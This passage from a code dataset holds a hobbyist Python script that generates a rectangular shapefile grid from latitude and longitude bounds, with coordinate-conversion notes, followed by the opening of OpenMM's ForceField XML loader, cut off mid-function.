{"api_name": "django.conf.urls.static.static", "line_number": 55, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 55, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 55, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 55, "usage_type": "attribute"}]}
{"seq_id": "27277129421", "text": "\"\"\"\nPython script to create a square grid of size 1m.\n\"\"\"\n\n# Module imports.\nimport sys\nimport argparse\nimport shapefile as shp\nfrom pyproj import Proj, transform\nimport urllib.request\nimport math\n\n\n# Gather input parameters using argsparser.\nhelpDescription = \"The script generateEmptyGrid.py requires 6 arguments: minLong, minLat, maxLong, maxLat, cell size, output filename.\"\nhelpDescription += \"The minX, minY, maxX and maxY should be in DD (decimal degrees).\"\nhelpDescription += \"The cell size should be in meters.\"\nhelpDescription += \"The output file name must be a single word, combined words using underscores, or in double quotes.\"\n\nparser = argparse.ArgumentParser(description=helpDescription)\nparser.add_argument(\"minLong\", help=\"The minimum Longitude (N/S or X) for the coordinate bounding box in DD (decimal degrees).\", type=float)\nparser.add_argument(\"minLat\", help=\"The minimum Latitude (E/W or Y) for the coordinate bounding box in DD (decimal degrees).\", type=float)\nparser.add_argument(\"maxLong\", help=\"The maximum Longitude (N/S or X) for the coordinate bounding box in DD (decimal degrees).\", type=float)\nparser.add_argument(\"maxLat\", help=\"The maximum Latitude (E/W or Y) for the coordinate bounding box in DD (decimal degrees).\", type=float)\nparser.add_argument(\"cellWidth\", help=\"The cell width to create in meters.\", type=int)\nparser.add_argument(\"cellHeight\", help=\"The cell height to create in meters.\", type=int)\nparser.add_argument(\"outputFilename\", help=\"The base name of the output file(s) generated by the script.\")\nargs = parser.parse_args()\n\nif len (sys.argv) != 8 :    # 8 to include sys.argv[0].\n    print(\"The script generateEmptyGrid.py requires 6 parameters: minx, miny, maxx, maxy, cell size (in meters), output file name.\")\n    print(\"You passed in the following argumanets: \")\n    for x in sys.argv:\n        print(\"Argument: \", x)\n    print(\"Exiting script.\")\n    sys.exit (1)\n\nscriptName = sys.argv[0]\nminLat = float(sys.argv[1])\nminLong = float(sys.argv[2])\nmaxLat = float(sys.argv[3])\nmaxLong = float(sys.argv[4])\ncellWidth = int(sys.argv[5])\ncellHeight = int(sys.argv[6])\nfileBaseName = sys.argv[7]\n\n# print(scriptName, minLat, minLong, maxLat, maxLong, cellWidth, cellHeight, fileBaseName)\n# print(type(scriptName), type(minLat), type(minLong), type(maxLat), type(maxLong), type(cellWidth), type(cellHeight), type(fileBaseName))\n\n# print(minLat, minLong, maxLat, maxLong, cellWidth, cellHeight, fileBaseName)\n# print(type(minLat), type(minLong), type(maxLat), type(maxLong), type(cellWidth), type(cellHeight), type(fileBaseName))\n\n\n\"\"\"\nLatitude (Northing)\n\nWhen looking at a map, latitude lines run horizontally.\nLatitude lines are also known as parallels since they are parallel and are an equal distant from each other.\nEach degree of latitude is approximately 69 miles (111 km) apart; there is a variation due to the fact that the earth is not a perfect sphere but an oblate ellipsoid (slightly egg-shaped).\nTo remember latitude, imagine them as the horizontal rungs of a ladder (\"ladder-tude\").\nDegrees latitude are numbered from 0° to 90° north and south.\nZero degrees is the equator, the imaginary line which divides our planet into the northern and southern hemispheres.\n90° north is the North Pole and 90° south is the South Pole.\n\nLongitude (Easting)\n\nThe vertical longitude lines are also known as meridians.\nThey converge at the poles and are widest at the equator (about 69 miles or 111 km apart).\nZero degrees longitude is located at Greenwich, England (0°).\nThe degrees continue 180° east and 180° west where they meet and form the International Date Line in the Pacific Ocean.\nGreenwich, the site of the British Royal Greenwich Observatory, was established as the site of the prime meridian by an international conference in 1884.\n\nSummary\n\nLatitude (parallels) [horizontal rings eg. \"ladder-tude\"]\nLongitude (meridians) [vertical lines]\n\nWhich is X, which is Y?\n\nIn ESRI, Lat = Y Long = X\n\nIt's easy to get backwards.\nOn a standard north facing map, latitude is represented by horizontal lines, which go up and down (North and South) the Y axis.\nIts easy to think that since they are horizontal lines, they would be on the x axis, but they are not.\nSo similarly, the X axis is Longitude, as the values shift left to right (East and West) along the X axis.\nConfusing for the same reason since on a north facing map, these lines are vertical.\n\nDMS vs DD\n\nThe degrees, minutes, seconds (DMS) coordinate values need to be convert to decimal degrees (dd) before calculation.\nhttp://www.rapidtables.com/convert/number/degrees-to-degrees-minutes-seconds.htm\nhttp://www.rapidtables.com/convert/number/degrees-minutes-seconds-to-degrees.htm\n\nHow to convert decimal degrees to degrees,minutes,seconds\n\nOne degree (°) is equal to 60 minutes (') and equal to 3600 seconds (\"):\n    1° = 60' = 3600\"\nThe integer degrees (d) are equal to the integer part of the decimal degrees (dd):\n    d = integer(dd)\nThe minutes (m) are equal to the integer part of the decimal degrees (dd) minus integer degrees (d) times 60:\n    m = integer((dd - d) × 60)\nThe seconds (s) are equal to the decimal degrees (dd) minus integer degrees (d) minus minutes (m) divided by 60 times 3600:\n    s = (dd - d - m/60) × 3600\n\nExample:\nConvert 30.263888889° angle to degrees,minutes,seconds:\n    d = integer(30.263888889°) = 30°\n    m = integer((dd - d) × 60) = 15'\n    s = (dd - d - m/60) × 3600 = 50\"\nResult:\n    30.263888889° = 30° 15' 50\"\n\"\"\"\n\n\n# Convert DMS to DD.\ndef dd2dms(longitude, latitude):\n\n    # math.modf() splits whole number and decimal into tuple\n    # eg 53.3478 becomes (0.3478, 53)\n    split_degx = math.modf(longitude)\n\n    # the whole number [index 1] is the degrees\n    degrees_x = int(split_degx[1])\n\n    # multiply the decimal part by 60: 0.3478 * 60 = 20.868\n    # split the whole number part of the total as the minutes: 20\n    # abs() absoulte value - no negative\n    minutes_x = abs(int(math.modf(split_degx[0] * 60)[1]))\n\n    # multiply the decimal part of the split above by 60 to get the seconds\n    # 0.868 x 60 = 52.08, round excess decimal places to 2 places\n    # abs() absoulte value - no negative\n    seconds_x = abs(round(math.modf(split_degx[0] * 60)[0] * 60,2))\n\n    # repeat for latitude\n    split_degy = math.modf(latitude)\n    degrees_y = int(split_degy[1])\n    minutes_y = abs(int(math.modf(split_degy[0] * 60)[1]))\n    seconds_y = abs(round(math.modf(split_degy[0] * 60)[0] * 60,2))\n\n    # account for E/W & N/S\n    if degrees_x < 0:\n        EorW = \"W\"\n    else:\n        EorW = \"E\"\n\n    if degrees_y < 0:\n        NorS = \"S\"\n    else:\n        NorS = \"N\"\n\n    # abs() remove negative from degrees, was only needed for if-else above\n    print(\"\\t\" + str(abs(degrees_x)) + u\"\\u00b0 \" + str(minutes_x) + \"' \" + str(seconds_x) + \"\\\" \" + EorW)\n    print(\"\\t\" + str(abs(degrees_y)) + u\"\\u00b0 \" + str(minutes_y) + \"' \" + str(seconds_y) + \"\\\" \" + NorS)\n\n\"\"\"\n# Test DD to DMS conversion.\n\n# Some coords of cities\ncoords = [[\"Dublin\", -6.2597, 53.3478],[\"Paris\", 2.3508, 48.8567],[\"Sydney\", 151.2094, -33.8650],[\"Ft.Worth\", -97.546649, 32.550058],[\"Dallas\", -97.034774, 32.987978]]\n\n# Test dd2dms()\nfor city,x,y in coords:\n    print(city + \":\")\n    dd2dms(x, y)\n\"\"\"\n\n\n# Convert DD to DMS.\n# Not Working. Not really necessary.\n\"\"\"\ndef latDD(x):   # x = latitude or longitude.\n    D = int(x[1:3])\n    M = int(x[3:5])\n    S = float(x[5:])\n    DD = D + float(M)/60 + float(S)/3600\n    return DD\n\"\"\"\n\n\n# Generate a projection file.\n\"\"\"\ndef getWKT_PRJ (epsg_code):\n    # import urllib\n    # wkt = urllib.urlopen(\"http://spatialreference.org/ref/epsg/{0}/prettywkt/\".format(epsg_code))\n    with urllib.request.urlopen(\"http://spatialreference.org/ref/epsg/{0}/prettywkt/\".format(epsg_code)) as url:\n        wkt = url.read()\n        # print(wkt)\n\n        # json = url.read()\n        # print(json)\n        # wkt = json.loads(response.decode('utf-8'))\n        # print(wkt)\n\n    remove_spaces = wkt.read().replace(\" \",\"\")\n    output = remove_spaces.replace(\"\\n\", \"\")\n    return output\n\n# create the .prj file\nprjFileName = fileBaseName + \".prj\"\nprj = open(prjFileName, \"w\")\n\n# call the function and supply the epsg code\nepsg = getWKT_PRJ(\"4326\")\nprj.write(epsg)\nprj.close()\n\"\"\"\n\n\n# Script inputs.\n# minx = 448262.080078\n# miny = 6262492.020081\n# maxx = 450360.750122\n# maxy = 6262938.950073\nminx = float(minLong)\nminy = float(minLat)\nmaxx = float(maxLong)\nmaxy = float(maxLat)\n\n# Grid size in meters.\n# dx = 50    # 100\n# dy = 50    # 100\ndx = int(cellWidth)\ndy = int(cellHeight)\n\n# print(minx, type(minx), miny, type(miny), maxx, type(maxx), maxy, type(maxy), dx, type(dx), dy, type(dy))\n\n# Determine grid size.\nnx = int(math.ceil(abs(maxx - minx)/dx))\nny = int(math.ceil(abs(maxy - miny)/dy))\n\n# shp_folder = \".\"\n# shpf = shapefile.Reader(shp_folder + \"Ireland_LA.shp\")\n# shapefileName = \"Ireland_LA.shp\"\n# shpf = shapefile.Reader(shapefileName)\n# fields = shpf.fields\n\n# Generate grid file.\nw = shp.Writer(shp.POLYGON)\nw.autoBalance = 1\n# wgs_fields = w.fields\nw.field(\"ID\")\nid=0\n\nfor i in range(ny):\n    for j in range(nx):\n        id+=1\n        vertices = []\n        parts = []\n        vertices.append([min(minx+dx*j,maxx),max(maxy-dy*i,miny)])\n        vertices.append([min(minx+dx*(j+1),maxx),max(maxy-dy*i,miny)])\n        vertices.append([min(minx+dx*(j+1),maxx),max(maxy-dy*(i+1),miny)])\n        vertices.append([min(minx+dx*j,maxx),max(maxy-dy*(i+1),miny)])\n        parts.append(vertices)\n        w.poly(parts)\n        w.record(id)\n\n# w.save('polygon_grid_10')\nw.save(fileBaseName)\n\n# Test using script:\n# python generateEmptyGrid.py 6262492.020081 448262.080078 6262938.950073 450360.750122 50 50 emptyGrid_50mCells-2      # WORKS\n# python generateEmptyGrid.py -97.546649 32.550058 -97.034774 32.987978 50 50 emptyGrid_50mCells-3                      # SINGLE CELL of indeterminate size.\n# python generateEmptyGrid.py 32.550058 -97.546649 32.987978 -97.034774 50 50 emptyGrid_50mCells-4                      # SINGLE CELL of indeterminate size.\n\n# Test using BNG.\n# python generateEmptyGrid.py -9690512 6837338 -9470413 6679997 50 50 emptyGrid_50mCells_DFW_BNG                        # FAILS - HANGS.\n\n# Need to convert WGS84 to british national grid first!!\n# https://gist.github.com/lfigueira/58ad4a5cea1a5d8a92d7\n\n# Conversion Table\n\"\"\"\n-97.546649 32.550058\n\nEasting: -9690512\n-97° 27' 12.064\"\n\nNorthing: 6837338\n32° -27' 0.209\"\n\n\n-97.034774 32.987978\n\nEasting: -9470413\n-97° -2' - 5.186\"\n\nNorthing: 6679997\n32° -1' 16.721\"\n\n\"\"\"\n", "repo_name": "taoteg/geoPythonScripts", "sub_path": "src/generateEmptyGrid.py", "file_name": "generateEmptyGrid.py", "file_ext": "py", "file_size_in_byte": 10510, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 30, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 36, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 44, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 45, "usage_type": "attribute"}, {"api_name": "math.modf", "line_number": 120, "usage_type": "call"}, {"api_name": "math.modf", "line_number": 128, "usage_type": "call"}, {"api_name": "math.modf", "line_number": 133, "usage_type": "call"}, {"api_name": "math.modf", "line_number": 136, "usage_type": "call"}, {"api_name": "math.modf", "line_number": 138, "usage_type": "call"}, {"api_name": "math.modf", "line_number": 139, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 229, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 230, "usage_type": "call"}, {"api_name": "shapefile.Writer", "line_number": 239, "usage_type": "call"}, {"api_name": "shapefile.POLYGON", "line_number": 239, "usage_type": "attribute"}]}
{"seq_id": "13299760166", "text": "from __future__ import absolute_import, print_function\n\n__author__ = \"Peter Eastman\"\n__version__ = \"1.0\"\n\nimport os\nimport itertools\nimport xml.etree.ElementTree as etree\nimport math\nimport warnings\nfrom math import sqrt, cos\nfrom copy import deepcopy\nfrom collections import defaultdict\nimport openmm as mm\nimport openmm.unit as unit\nfrom . import element as elem\nfrom openmm.app.internal.singleton import Singleton\nfrom openmm.app.internal import compiled\nfrom openmm.app.internal.argtracker import ArgTracker\n\n# Directories from which to load built in force fields.\n\n_dataDirectories = None\n\ndef _getDataDirectories():\n    global _dataDirectories\n    if _dataDirectories is None:\n        _dataDirectories = [os.path.join(os.path.dirname(__file__), 'data')]\n        try:\n            from importlib_metadata import entry_points\n            for entry in entry_points().select(group='openmm.forcefielddir'):\n                _dataDirectories.append(entry.load()())\n        except:\n            pass # importlib_metadata is not installed\n    return _dataDirectories\n\ndef _convertParameterToNumber(param):\n    if unit.is_quantity(param):\n        if param.unit.is_compatible(unit.bar):\n            return param / unit.bar\n        return param.value_in_unit_system(unit.md_unit_system)\n    return float(param)\n\ndef _parseFunctions(element):\n    \"\"\"Parse the attributes on an XML tag to find any tabulated functions it defines.\"\"\"\n    functions = []\n    for function in element.findall('Function'):\n        values = [float(x) for x in function.text.split()]\n        if 'type' in function.attrib:\n            functionType = function.attrib['type']\n        else:\n            functionType = 'Continuous1D'\n        params = {}\n        for key in function.attrib:\n            if key.endswith('size'):\n                params[key] = int(function.attrib[key])\n            elif key.endswith('min') or key.endswith('max'):\n                params[key] = float(function.attrib[key])\n        if functionType.startswith('Continuous'):\n            periodicStr = function.attrib.get('periodic', 'false').lower()\n            if periodicStr in ['true', 'false', 'yes', 'no', '1', '0']:\n                params['periodic'] = periodicStr in ['true', 'yes', '1']\n            else:\n                raise ValueError('ForceField: non-boolean value for periodic attribute in tabulated function definition')\n        functions.append((function.attrib['name'], functionType, values, params))\n    return functions\n\ndef _createFunctions(force, functions):\n    \"\"\"Add TabulatedFunctions to a Force based on the information that was recorded by _parseFunctions().\"\"\"\n    for (name, type, values, params) in functions:\n        if type == 'Continuous1D':\n            force.addTabulatedFunction(\n                name,\n                mm.Continuous1DFunction(values, params['min'], params['max'], params['periodic']),\n            )\n        elif type == 'Continuous2D':\n            force.addTabulatedFunction(\n                name,\n                mm.Continuous2DFunction(\n                    params['xsize'], params['ysize'],\n                    values,\n                    params['xmin'], params['xmax'],\n                    params['ymin'], params['ymax'],\n                    params['periodic'],\n                ),\n            )\n        elif type == 'Continuous3D':\n            force.addTabulatedFunction(\n                name,\n                mm.Continuous3DFunction(\n                    params['xsize'], params['ysize'], params['zsize'],\n                    values,\n                    params['xmin'], params['xmax'],\n                    params['ymin'], params['ymax'],\n                    params['zmin'], params['zmax'],\n                    params['periodic'],\n                ),\n            )\n        elif type == 'Discrete1D':\n            force.addTabulatedFunction(name, mm.Discrete1DFunction(values))\n        elif type == 'Discrete2D':\n            force.addTabulatedFunction(name, mm.Discrete2DFunction(params['xsize'], params['ysize'], values))\n        elif type == 'Discrete3D':\n            force.addTabulatedFunction(name, mm.Discrete3DFunction(params['xsize'], params['ysize'], params['zsize'], values))\n\n# Enumerated values for nonbonded method\n\nclass NoCutoff(Singleton):\n    def __repr__(self):\n        return 'NoCutoff'\nNoCutoff = NoCutoff()\n\nclass CutoffNonPeriodic(Singleton):\n    def __repr__(self):\n        return 'CutoffNonPeriodic'\nCutoffNonPeriodic = CutoffNonPeriodic()\n\nclass CutoffPeriodic(Singleton):\n    def __repr__(self):\n        return 'CutoffPeriodic'\nCutoffPeriodic = CutoffPeriodic()\n\nclass Ewald(Singleton):\n    def __repr__(self):\n        return 'Ewald'\nEwald = Ewald()\n\nclass PME(Singleton):\n    def __repr__(self):\n        return 'PME'\nPME = PME()\n\nclass LJPME(Singleton):\n    def __repr__(self):\n        return 'LJPME'\nLJPME = LJPME()\n\n# Enumerated values for constraint type\n\nclass HBonds(Singleton):\n    def __repr__(self):\n        return 'HBonds'\nHBonds = HBonds()\n\nclass AllBonds(Singleton):\n    def __repr__(self):\n        return 'AllBonds'\nAllBonds = AllBonds()\n\nclass HAngles(Singleton):\n    def __repr__(self):\n        return 'HAngles'\nHAngles = HAngles()\n\n# A map of functions to parse elements of the XML file.\n\nparsers = {}\n\nclass ForceField(object):\n    \"\"\"A ForceField constructs OpenMM System objects based on a Topology.\"\"\"\n\n    def __init__(self, *files):\n        \"\"\"Load one or more XML files and create a ForceField object based on them.\n\n        Parameters\n        ----------\n        files : list\n            A list of XML files defining the force field.  Each entry may\n            be an absolute file path, a path relative to the current working\n            directory, a path relative to this module's data subdirectory\n            (for built in force fields), or an open file-like object with a\n            read() method from which the forcefield XML data can be loaded.\n        \"\"\"\n        self._atomTypes = {}\n        self._templates = {}\n        self._patches = {}\n        self._templatePatches = {}\n        self._templateSignatures = {None:[]}\n        self._atomClasses = {'':set()}\n        self._forces = []\n        self._scripts = []\n        self._templateMatchers = []\n        self._templateGenerators = []\n        self.loadFile(files)\n\n    def loadFile(self, files, resname_prefix=''):\n        \"\"\"Load an XML file and add the definitions from it to this ForceField.\n\n        Parameters\n        ----------\n        files : string or file or tuple\n            An XML file or tuple of XML files containing force field definitions.\n            Each entry may be either an absolute file path, a path relative to the current working\n            directory, a path relative to this module's data subdirectory (for\n            built in force fields), or an open file-like object with a read()\n            method from which the forcefield XML data can be loaded.\n        prefix : string\n            An optional string to be prepended to each residue name found in the\n            loaded files.\n        \"\"\"\n\n        if isinstance(files, tuple):\n            files = list(files)\n        else:\n            files = [files]\n\n        trees = []\n\n        i = 0\n        while i < len(files):\n            file = files[i]\n            tree = None\n            try:\n                # this handles either filenames or open file-like objects\n                tree = etree.parse(file)\n            except IOError:\n                for dataDir in _getDataDirectories():\n                    f = os.path.join(dataDir, file)\n                    if os.path.isfile(f):\n                        tree = etree.parse(f)\n                        break\n            except Exception as e:\n                # Fail with an error message about which file could not be read.\n                # TODO: Also handle case where fallback to 'data' directory encounters problems,\n                # but this is much less worrisome because we control those files.\n                msg  = str(e) + '\\n'\n                if hasattr(file, 'name'):\n                    filename = file.name\n                else:\n                    filename = str(file)\n                msg += \"ForceField.loadFile() encountered an error reading file '%s'\\n\" % filename\n                raise Exception(msg)\n            if tree is None:\n                raise ValueError('Could not locate file \"%s\"' % file)\n\n            trees.append(tree)\n            i += 1\n\n            # Process includes in this file.\n\n            if isinstance(file, str):\n                parentDir = os.path.dirname(file)\n            else:\n                parentDir = ''\n            for included in tree.getroot().findall('Include'):\n                includeFile = included.attrib['file']\n                joined = os.path.join(parentDir, includeFile)\n                if os.path.isfile(joined):\n                    includeFile = joined\n                if includeFile not in files:\n                    files.append(includeFile)\n\n        # Load the atom types.\n\n        for tree in trees:\n            if tree.getroot().find('AtomTypes') is not None:\n                for type in tree.getroot().find('AtomTypes').findall('Type'):\n                    self.registerAtomType(type.attrib)\n\n        # Load the residue templates.\n\n        for tree in trees:\n            if tree.getroot().find('Residues') is not None:\n                for residue in tree.getroot().find('Residues').findall('Residue'):\n                    resName = resname_prefix+residue.attrib['name']\n                    template = ForceField._TemplateData(resName)\n                    if 'override' in residue.attrib:\n                        template.overrideLevel = int(residue.attrib['override'])\n                    if 'rigidWater' in residue.attrib:\n                        template.rigidWater = (residue.attrib['rigidWater'].lower() == 'true')\n                    for key in residue.attrib:\n                        template.attributes[key] = residue.attrib[key]\n                    atomIndices = template.atomIndices\n                    for ia, atom in enumerate(residue.findall('Atom')):\n                        params = {}\n                        for key in atom.attrib:\n                            if key not in ('name', 'type'):\n                                params[key] = _convertParameterToNumber(atom.attrib[key])\n                        atomName = atom.attrib['name']\n                        if atomName in atomIndices:\n                            raise ValueError('Residue '+resName+' contains multiple atoms named '+atomName)\n                        typeName = atom.attrib['type']\n                        atomIndices[atomName] = ia\n                        template.atoms.append(ForceField._TemplateAtomData(atomName, typeName, self._atomTypes[typeName].element, params))\n                    for site in residue.findall('VirtualSite'):\n                        template.virtualSites.append(ForceField._VirtualSiteData(site, atomIndices))\n                    for bond in residue.findall('Bond'):\n                        if 'atomName1' in bond.attrib:\n                            template.addBondByName(bond.attrib['atomName1'], bond.attrib['atomName2'])\n                        else:\n                            template.addBond(int(bond.attrib['from']), int(bond.attrib['to']))\n                    for bond in residue.findall('ExternalBond'):\n                        if 'atomName' in bond.attrib:\n                            template.addExternalBondByName(bond.attrib['atomName'])\n                        else:\n                            template.addExternalBond(int(bond.attrib['from']))\n                    for patch in residue.findall('AllowPatch'):\n                        patchName = patch.attrib['name']\n                        if ':' in patchName:\n                            colonIndex = patchName.find(':')\n                            self.registerTemplatePatch(resName, patchName[:colonIndex], int(patchName[colonIndex+1:])-1)\n                        else:\n                            self.registerTemplatePatch(resName, patchName, 0)\n                    self.registerResidueTemplate(template)\n\n        # Load the patch definitions.\n\n        for tree in trees:\n            if tree.getroot().find('Patches') is not None:\n                for patch in tree.getroot().find('Patches').findall('Patch'):\n                    patchName = patch.attrib['name']\n                    if 'residues' in patch.attrib:\n                        numResidues = int(patch.attrib['residues'])\n                    else:\n                        numResidues = 1\n                    patchData = ForceField._PatchData(patchName, numResidues)\n                    for key in patch.attrib:\n                        patchData.attributes[key] = patch.attrib[key]\n                    for atom in patch.findall('AddAtom'):\n                        params = {}\n                        for key in atom.attrib:\n                            if key not in ('name', 'type'):\n                                params[key] = _convertParameterToNumber(atom.attrib[key])\n                        atomName = atom.attrib['name']\n                        if atomName in patchData.allAtomNames:\n                            raise ValueError('Patch '+patchName+' contains multiple atoms named '+atomName)\n                        patchData.allAtomNames.add(atomName)\n                        atomDescription = ForceField._PatchAtomData(atomName)\n                        typeName = atom.attrib['type']\n                        patchData.addedAtoms[atomDescription.residue].append(ForceField._TemplateAtomData(atomDescription.name, typeName, self._atomTypes[typeName].element, params))\n                    for atom in patch.findall('ChangeAtom'):\n                        params = {}\n                        for key in atom.attrib:\n                            if key not in ('name', 'type'):\n                                params[key] = _convertParameterToNumber(atom.attrib[key])\n                        atomName = atom.attrib['name']\n                        if atomName in patchData.allAtomNames:\n                            raise ValueError('Patch '+patchName+' contains multiple atoms named '+atomName)\n                        patchData.allAtomNames.add(atomName)\n                        atomDescription = ForceField._PatchAtomData(atomName)\n                        typeName = atom.attrib['type']\n                        patchData.changedAtoms[atomDescription.residue].append(ForceField._TemplateAtomData(atomDescription.name, typeName, self._atomTypes[typeName].element, params))\n                    for atom in patch.findall('RemoveAtom'):\n                        atomName = atom.attrib['name']\n                        if atomName in patchData.allAtomNames:\n                            raise ValueError('Patch '+patchName+' contains multiple atoms named '+atomName)\n                        patchData.allAtomNames.add(atomName)\n                        atomDescription = ForceField._PatchAtomData(atomName)\n                        patchData.deletedAtoms.append(atomDescription)\n                    for bond in patch.findall('AddBond'):\n                        atom1 = ForceField._PatchAtomData(bond.attrib['atomName1'])\n                        atom2 = ForceField._PatchAtomData(bond.attrib['atomName2'])\n                        patchData.addedBonds.append((atom1, atom2))\n                    for bond in patch.findall('RemoveBond'):\n                        atom1 = ForceField._PatchAtomData(bond.attrib['atomName1'])\n                        atom2 = ForceField._PatchAtomData(bond.attrib['atomName2'])\n                        patchData.deletedBonds.append((atom1, atom2))\n                    for bond in patch.findall('AddExternalBond'):\n                        atom = ForceField._PatchAtomData(bond.attrib['atomName'])\n                        patchData.addedExternalBonds.append(atom)\n                    for bond in patch.findall('RemoveExternalBond'):\n                        atom = ForceField._PatchAtomData(bond.attrib['atomName'])\n                        patchData.deletedExternalBonds.append(atom)\n                    # The following three lines are only correct for single residue patches.  Multi-residue patches with\n                    # virtual sites currently don't work correctly.  See issue #2848.\n                    atomIndices = dict((atom.name, i) for i, atom in enumerate(patchData.addedAtoms[0]+patchData.changedAtoms[0]))\n                    for site in patch.findall('VirtualSite'):\n                        patchData.virtualSites[0].append(ForceField._VirtualSiteData(site, atomIndices))\n                    for residue in patch.findall('ApplyToResidue'):\n                        name = residue.attrib['name']\n                        if ':' in name:\n                            colonIndex = name.find(':')\n                            self.registerTemplatePatch(name[colonIndex+1:], patchName, int(name[:colonIndex])-1)\n                        else:\n                            self.registerTemplatePatch(name, patchName, 0)\n                    self.registerPatch(patchData)\n\n        # Load force definitions\n\n        for tree in trees:\n            for child in tree.getroot():\n                if child.tag in parsers:\n                    parsers[child.tag](child, self)\n\n        # Load scripts\n\n        for tree in trees:\n            for node in tree.getroot().findall('Script'):\n                self.registerScript(node.text)\n\n        # Execute initialization scripts.\n\n        for tree in trees:\n            for node in tree.getroot().findall('InitializationScript'):\n                exec(node.text, locals())\n\n    def getGenerators(self):\n        \"\"\"Get the list of all registered generators.\"\"\"\n        return self._forces\n\n    def registerGenerator(self, generator):\n        \"\"\"Register a new generator.\"\"\"\n        self._forces.append(generator)\n\n    def registerAtomType(self, parameters):\n        \"\"\"Register a new atom type.\"\"\"\n        name = parameters['name']\n        if name in self._atomTypes:\n            raise ValueError('Found multiple definitions for atom type: '+name)\n        atomClass = parameters['class']\n        mass = _convertParameterToNumber(parameters['mass'])\n        element = None\n        if 'element' in parameters:\n            element = parameters['element']\n            if not isinstance(element, elem.Element):\n                element = elem.get_by_symbol(element)\n        self._atomTypes[name] = ForceField._AtomType(name, atomClass, mass, element)\n        if atomClass in self._atomClasses:\n            typeSet = self._atomClasses[atomClass]\n        else:\n            typeSet = set()\n            self._atomClasses[atomClass] = typeSet\n        typeSet.add(name)\n        self._atomClasses[''].add(name)\n\n    def registerResidueTemplate(self, template):\n        \"\"\"Register a new residue template.\"\"\"\n        if template.name in self._templates:\n            # There is already a template with this name, so check the override levels.\n\n            existingTemplate = self._templates[template.name]\n            if template.overrideLevel < existingTemplate.overrideLevel:\n                # The existing one takes precedence, so just return.\n                return\n            if template.overrideLevel > existingTemplate.overrideLevel:\n                # We need to delete the existing template.\n                del self._templates[template.name]\n                existingSignature = _createResidueSignature([atom.element for atom in existingTemplate.atoms])\n                self._templateSignatures[existingSignature].remove(existingTemplate)\n            else:\n                raise ValueError('Residue template %s with the same override level %d already exists.' % (template.name, template.overrideLevel))\n\n        # Register the template.\n\n        self._templates[template.name] = template\n        signature = _createResidueSignature([atom.element for atom in template.atoms])\n        if signature in self._templateSignatures:\n            self._templateSignatures[signature].append(template)\n        else:\n            self._templateSignatures[signature] = [template]\n\n    def registerPatch(self, patch):\n        \"\"\"Register a new patch that can be applied to templates.\"\"\"\n        patch.index = len(self._patches)\n        self._patches[patch.name] = patch\n\n    def registerTemplatePatch(self, residue, patch, patchResidueIndex):\n        \"\"\"Register that a particular patch can be used with a particular residue.\"\"\"\n        if residue not in self._templatePatches:\n            self._templatePatches[residue] = set()\n        self._templatePatches[residue].add((patch, patchResidueIndex))\n\n    def registerScript(self, script):\n        \"\"\"Register a new script to be executed after building the System.\"\"\"\n        self._scripts.append(script)\n\n    def registerTemplateMatcher(self, matcher):\n        \"\"\"Register an object that can override the default logic for matching templates to residues.\n\n        A template matcher is a callable object that can be invoked as::\n\n            template = f(forcefield, residue, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n\n        where ``forcefield`` is the ForceField invoking it, ``residue`` is an openmm.app.Residue object,\n        ``bondedToAtom[i]`` is the set of atoms bonded to atom index i, and ``ignoreExternalBonds`` and\n        ``ignoreExtraParticles`` indicate whether external bonds and extra particules should be considered\n        in matching templates.\n\n        It should return a _TemplateData object that matches the residue.  Alternatively it may return\n        None, in which case the standard logic will be used to find a template for the residue.\n\n        .. CAUTION:: This method is experimental, and its API is subject to change.\n        \"\"\"\n        self._templateMatchers.append(matcher)\n\n    def registerTemplateGenerator(self, generator):\n        \"\"\"Register a residue template generator that can be used to parameterize residues that do not match existing forcefield templates.\n\n        This functionality can be used to add handlers to parameterize small molecules or unnatural/modified residues.\n\n        .. CAUTION:: This method is experimental, and its API is subject to change.\n\n        Parameters\n        ----------\n        generator : function\n            A function that will be called when a residue is encountered that does not match an existing forcefield template.\n\n        When a residue without a template is encountered, the ``generator`` function is called with:\n\n        ::\n           success = generator(forcefield, residue)\n\n        where ``forcefield`` is the calling ``ForceField`` object and ``residue`` is a openmm.app.topology.Residue object.\n\n        ``generator`` must conform to the following API:\n\n        ::\n           generator API\n\n           Parameters\n           ----------\n           forcefield : openmm.app.ForceField\n               The ForceField object to which residue templates and/or parameters are to be added.\n           residue : openmm.app.Topology.Residue\n               The residue topology for which a template is to be generated.\n\n           Returns\n           -------\n           success : bool\n               If the generator is able to successfully parameterize the residue, `True` is returned.\n               If the generator cannot parameterize the residue, it should return `False` and not modify `forcefield`.\n\n           The generator should either register a residue template directly with `forcefield.registerResidueTemplate(template)`\n           or it should call `forcefield.loadFile(file)` to load residue definitions from an ffxml file.\n\n           It can also use the `ForceField` programmatic API to add additional atom types (via `forcefield.registerAtomType(parameters)`)\n           or additional parameters.\n\n        \"\"\"\n        self._templateGenerators.append(generator)\n\n    def _findAtomTypes(self, attrib, num):\n        \"\"\"Parse the attributes on an XML tag to find the set of atom types for each atom it involves.\n\n        Parameters\n        ----------\n        attrib : dict of attributes\n            The dictionary of attributes for an XML parameter tag.\n        num : int\n            The number of atom specifiers (e.g. 'class1' through 'class4') to extract.\n\n        Returns\n        -------\n        types : list\n            A list of atom types that match.\n\n        \"\"\"\n        types = []\n        for i in range(num):\n            if num == 1:\n                suffix 